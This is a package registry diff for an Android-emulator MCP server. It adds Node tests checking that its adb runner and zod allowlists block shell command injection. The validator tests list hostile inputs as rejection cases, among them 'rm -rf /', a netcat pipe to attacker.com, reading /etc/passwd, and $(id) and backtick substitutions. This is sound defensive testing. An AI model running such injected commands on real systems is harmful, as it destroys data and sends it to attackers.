mcp-android-emulator 1.4.0 → 2.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,94 @@
1
+ /**
2
+ * Tests del runner — verifica que execFile recibe argv separado, no un
3
+ * string compuesto. Esto demuestra que el HOST está protegido contra
4
+ * command injection aunque los argumentos contengan metacaracteres.
5
+ *
6
+ * Nota: usamos un adb "falso" apuntando a un script de echo que imprime
7
+ * sus argumentos uno por línea — así podemos verificar exactamente qué
8
+ * argumentos recibió el binario.
9
+ */
10
+
11
+ import { test, before, after } from "node:test";
12
+ import assert from "node:assert/strict";
13
+ import * as fs from "node:fs";
14
+ import * as os from "node:os";
15
+ import * as path from "node:path";
16
+
17
+ const IS_WINDOWS = process.platform === "win32";
18
+
19
+ // Skip estos tests en Windows: execFile no corre scripts (.cmd/.sh) sin
20
+ // shell:true, que es justo lo que el runner evita por diseño. En Linux
21
+ // (donde corre el servidor y el release real) los tests corren con un
22
+ // shebang POSIX. La verificación funcional en Windows no es crítica
23
+ // porque adb real se distribuye principalmente para Linux/macOS.
24
+ const SKIP_RUNNER_TESTS = IS_WINDOWS;
25
+
26
+ const FAKE_ADB_DIR = SKIP_RUNNER_TESTS
27
+ ? ""
28
+ : fs.mkdtempSync(path.join(os.tmpdir(), "mcp-fake-adb-"));
29
+ const FAKE_ADB = SKIP_RUNNER_TESTS
30
+ ? ""
31
+ : path.join(FAKE_ADB_DIR, "fake-adb.sh");
32
+
33
+ function installFakeAdb() {
34
+ const content = '#!/bin/sh\nfor a in "$@"; do echo "$a"; done\n';
35
+ fs.writeFileSync(FAKE_ADB, content);
36
+ fs.chmodSync(FAKE_ADB, 0o755);
37
+ process.env.ADB_PATH = FAKE_ADB;
38
+ }
39
+
40
+ before(() => {
41
+ if (SKIP_RUNNER_TESTS) return;
42
+ installFakeAdb();
43
+ });
44
+
45
+ after(() => {
46
+ if (SKIP_RUNNER_TESTS) return;
47
+ try {
48
+ fs.rmSync(FAKE_ADB_DIR, { recursive: true, force: true });
49
+ } catch { /* ignore */ }
50
+ });
51
+
52
+ if (SKIP_RUNNER_TESTS) {
53
+ test("runner tests skipped on Windows (execFile cannot run scripts without shell)", { skip: true }, () => {});
54
+ } else {
55
+ // Importar DESPUÉS de setear ADB_PATH; el módulo lo lee en import time.
56
+ const { runAdb, runAdbShell } = await import("../src/adb/runner.ts");
57
+
58
+ test("runAdb passes each argument separately to adb binary", async () => {
59
+ const out = await runAdb(["arg1", "arg2 with spaces", "arg3"]);
60
+ assert.equal(out, "arg1\narg2 with spaces\narg3");
61
+ });
62
+
63
+ test("runAdb does NOT interpret shell metacharacters on the host", async () => {
64
+ const out = await runAdb(["hello; id"]);
65
+ assert.equal(out, "hello; id");
66
+ assert.ok(!out.includes("uid="), "should not contain uid= (would indicate id ran)");
67
+ });
68
+
69
+ test("runAdb protects against $(...) command substitution on host", async () => {
70
+ const out = await runAdb(["test$(id)"]);
71
+ assert.equal(out, "test$(id)");
72
+ assert.ok(!out.includes("uid="));
73
+ });
74
+
75
+ test("runAdb protects against backtick command substitution on host", async () => {
76
+ const out = await runAdb(["test`id`"]);
77
+ assert.equal(out, "test`id`");
78
+ assert.ok(!out.includes("uid="));
79
+ });
80
+
81
+ test("runAdbShell prepends 'shell' as first argument", async () => {
82
+ const out = await runAdbShell(["pm", "list", "packages"]);
83
+ const lines = out.split("\n");
84
+ assert.equal(lines[0], "shell");
85
+ assert.equal(lines[1], "pm");
86
+ assert.equal(lines[2], "list");
87
+ assert.equal(lines[3], "packages");
88
+ });
89
+
90
+ test("runAdbShell requires at least one argument", async () => {
91
+ // Este caso no depende de ejecutar adb — se valida antes.
92
+ await assert.rejects(() => runAdbShell([]), /requires at least one argument/);
93
+ });
94
+ }
@@ -0,0 +1,199 @@
1
+ /**
2
+ * Tests de validators — asegura que los allowlists rechazan payloads
3
+ * con metacaracteres shell y aceptan valores legítimos.
4
+ *
5
+ * Finalidad: garantizar que la segunda línea de defensa (allowlist zod)
6
+ * bloquea command injection antes de llegar al runner.
7
+ */
8
+
9
+ import { test } from "node:test";
10
+ import assert from "node:assert/strict";
11
+ import {
12
+ packageNameSchema,
13
+ apkPathSchema,
14
+ resourceIdSchema,
15
+ typeableTextSchema,
16
+ searchFilterSchema,
17
+ } from "../src/adb/validators.ts";
18
+
19
+ // ---------------------------------------------------------------------------
20
+ // packageNameSchema
21
+ // ---------------------------------------------------------------------------
22
+ test("packageNameSchema accepts valid Android package names", () => {
23
+ const valid = [
24
+ "com.android.chrome",
25
+ "com.example.app",
26
+ "org.mozilla.firefox",
27
+ "a.b",
28
+ "com.company_x.app_y",
29
+ ];
30
+ for (const p of valid) {
31
+ assert.equal(packageNameSchema.safeParse(p).success, true, `should accept "${p}"`);
32
+ }
33
+ });
34
+
35
+ test("packageNameSchema rejects shell-metachar payloads", () => {
36
+ const malicious = [
37
+ "com.x; rm -rf /",
38
+ "com.x && id",
39
+ "com.x | nc attacker.com 1234",
40
+ "com.x`whoami`",
41
+ "com.x$(id)",
42
+ "com.x\nid",
43
+ "com.x > /tmp/pwn",
44
+ "com.x < /etc/passwd",
45
+ 'com.x"id"',
46
+ "com.x'id'",
47
+ "com.x\\id",
48
+ "", // empty
49
+ "a", // too short
50
+ "no_dot", // missing dot
51
+ ".starts.with.dot",
52
+ "ends.with.dot.",
53
+ "1starts.with.num",
54
+ ];
55
+ for (const p of malicious) {
56
+ assert.equal(
57
+ packageNameSchema.safeParse(p).success,
58
+ false,
59
+ `should reject "${p}"`
60
+ );
61
+ }
62
+ });
63
+
64
+ // ---------------------------------------------------------------------------
65
+ // apkPathSchema
66
+ // ---------------------------------------------------------------------------
67
+ test("apkPathSchema accepts valid .apk paths", () => {
68
+ const valid = [
69
+ "/tmp/app.apk",
70
+ "/home/user/downloads/my-app.apk",
71
+ "C:/temp/app.apk",
72
+ "relative/path/app.apk",
73
+ ];
74
+ for (const p of valid) {
75
+ assert.equal(apkPathSchema.safeParse(p).success, true, `should accept "${p}"`);
76
+ }
77
+ });
78
+
79
+ test("apkPathSchema rejects non-apk or malicious paths", () => {
80
+ const bad = [
81
+ "/tmp/app.exe",
82
+ "/tmp/app.apk; rm -rf /",
83
+ "/tmp/app.apk && id",
84
+ "/tmp/$(id).apk",
85
+ "/tmp/`id`.apk",
86
+ "not-an-apk",
87
+ "",
88
+ ];
89
+ for (const p of bad) {
90
+ assert.equal(apkPathSchema.safeParse(p).success, false, `should reject "${p}"`);
91
+ }
92
+ });
93
+
94
+ // ---------------------------------------------------------------------------
95
+ // resourceIdSchema
96
+ // ---------------------------------------------------------------------------
97
+ test("resourceIdSchema accepts valid Android resource ids", () => {
98
+ const valid = [
99
+ "com.app:id/button_login",
100
+ "com.example.app:id/edit_email",
101
+ "android:id/button1",
102
+ ];
103
+ for (const r of valid) {
104
+ assert.equal(resourceIdSchema.safeParse(r).success, true, `should accept "${r}"`);
105
+ }
106
+ });
107
+
108
+ test("resourceIdSchema rejects malformed or malicious ids", () => {
109
+ const bad = [
110
+ "com.app:id/button; id",
111
+ "com.app:id/$(id)",
112
+ "no-colon",
113
+ "com.app:id/",
114
+ "",
115
+ ];
116
+ for (const r of bad) {
117
+ assert.equal(resourceIdSchema.safeParse(r).success, false, `should reject "${r}"`);
118
+ }
119
+ });
120
+
121
+ // ---------------------------------------------------------------------------
122
+ // typeableTextSchema
123
+ // ---------------------------------------------------------------------------
124
+ test("typeableTextSchema accepts common inputs", () => {
125
+ const valid = [
126
+ "hello world",
127
+ "user@example.com",
128
+ "password-123",
129
+ "Claude_v2+",
130
+ "search query",
131
+ "",
132
+ "phone: +51-987-654-321",
133
+ ];
134
+ for (const t of valid) {
135
+ assert.equal(typeableTextSchema.safeParse(t).success, true, `should accept "${t}"`);
136
+ }
137
+ });
138
+
139
+ test("typeableTextSchema accepts unicode/i18n text (acentos, ñ, emoji, CJK)", () => {
140
+ const valid = [
141
+ "niño",
142
+ "señor",
143
+ "contraseña",
144
+ "áéíóú ÁÉÍÓÚ",
145
+ "¿qué tal?",
146
+ "café",
147
+ "北京",
148
+ "こんにちは",
149
+ "Привет",
150
+ "hola 🚀 mundo",
151
+ "★ rating",
152
+ "résumé",
153
+ "naïve",
154
+ "Zürich",
155
+ ];
156
+ for (const t of valid) {
157
+ assert.equal(typeableTextSchema.safeParse(t).success, true, `should accept "${t}"`);
158
+ }
159
+ });
160
+
161
+ test("typeableTextSchema rejects shell-metachar payloads", () => {
162
+ const bad = [
163
+ "hello; id",
164
+ "hello && id",
165
+ "hello | sh",
166
+ "hello`whoami`",
167
+ "hello$(id)",
168
+ "hello'\"",
169
+ "hello > /tmp/x",
170
+ "hello\n",
171
+ "hello\r",
172
+ "hello<file",
173
+ ];
174
+ for (const t of bad) {
175
+ assert.equal(typeableTextSchema.safeParse(t).success, false, `should reject "${t}"`);
176
+ }
177
+ });
178
+
179
+ // ---------------------------------------------------------------------------
180
+ // searchFilterSchema
181
+ // ---------------------------------------------------------------------------
182
+ test("searchFilterSchema accepts arbitrary printable strings (used in-process)", () => {
183
+ const valid = [
184
+ "chrome",
185
+ "com.google",
186
+ "error",
187
+ "Exception thrown",
188
+ "hola; y rm", // no llega al shell, se usa en JS
189
+ "",
190
+ ];
191
+ for (const s of valid) {
192
+ assert.equal(searchFilterSchema.safeParse(s).success, true, `should accept "${s}"`);
193
+ }
194
+ });
195
+
196
+ test("searchFilterSchema rejects control characters and oversize", () => {
197
+ assert.equal(searchFilterSchema.safeParse("bad\x00null").success, false);
198
+ assert.equal(searchFilterSchema.safeParse("a".repeat(257)).success, false);
199
+ });
package/tsconfig.json CHANGED
@@ -1,16 +1,16 @@
1
- {
2
- "compilerOptions": {
3
- "target": "ES2022",
4
- "module": "NodeNext",
5
- "moduleResolution": "NodeNext",
6
- "outDir": "./dist",
7
- "rootDir": "./src",
8
- "strict": true,
9
- "esModuleInterop": true,
10
- "skipLibCheck": true,
11
- "forceConsistentCasingInFileNames": true,
12
- "declaration": true
13
- },
14
- "include": ["src/**/*"],
15
- "exclude": ["node_modules", "dist"]
16
- }
1
+ {
2
+ "compilerOptions": {
3
+ "target": "ES2022",
4
+ "module": "NodeNext",
5
+ "moduleResolution": "NodeNext",
6
+ "outDir": "./dist",
7
+ "rootDir": "./src",
8
+ "strict": true,
9
+ "esModuleInterop": true,
10
+ "skipLibCheck": true,
11
+ "forceConsistentCasingInFileNames": true,
12
+ "declaration": true
13
+ },
14
+ "include": ["src/**/*"],
15
+ "exclude": ["node_modules", "dist"]
16
+ }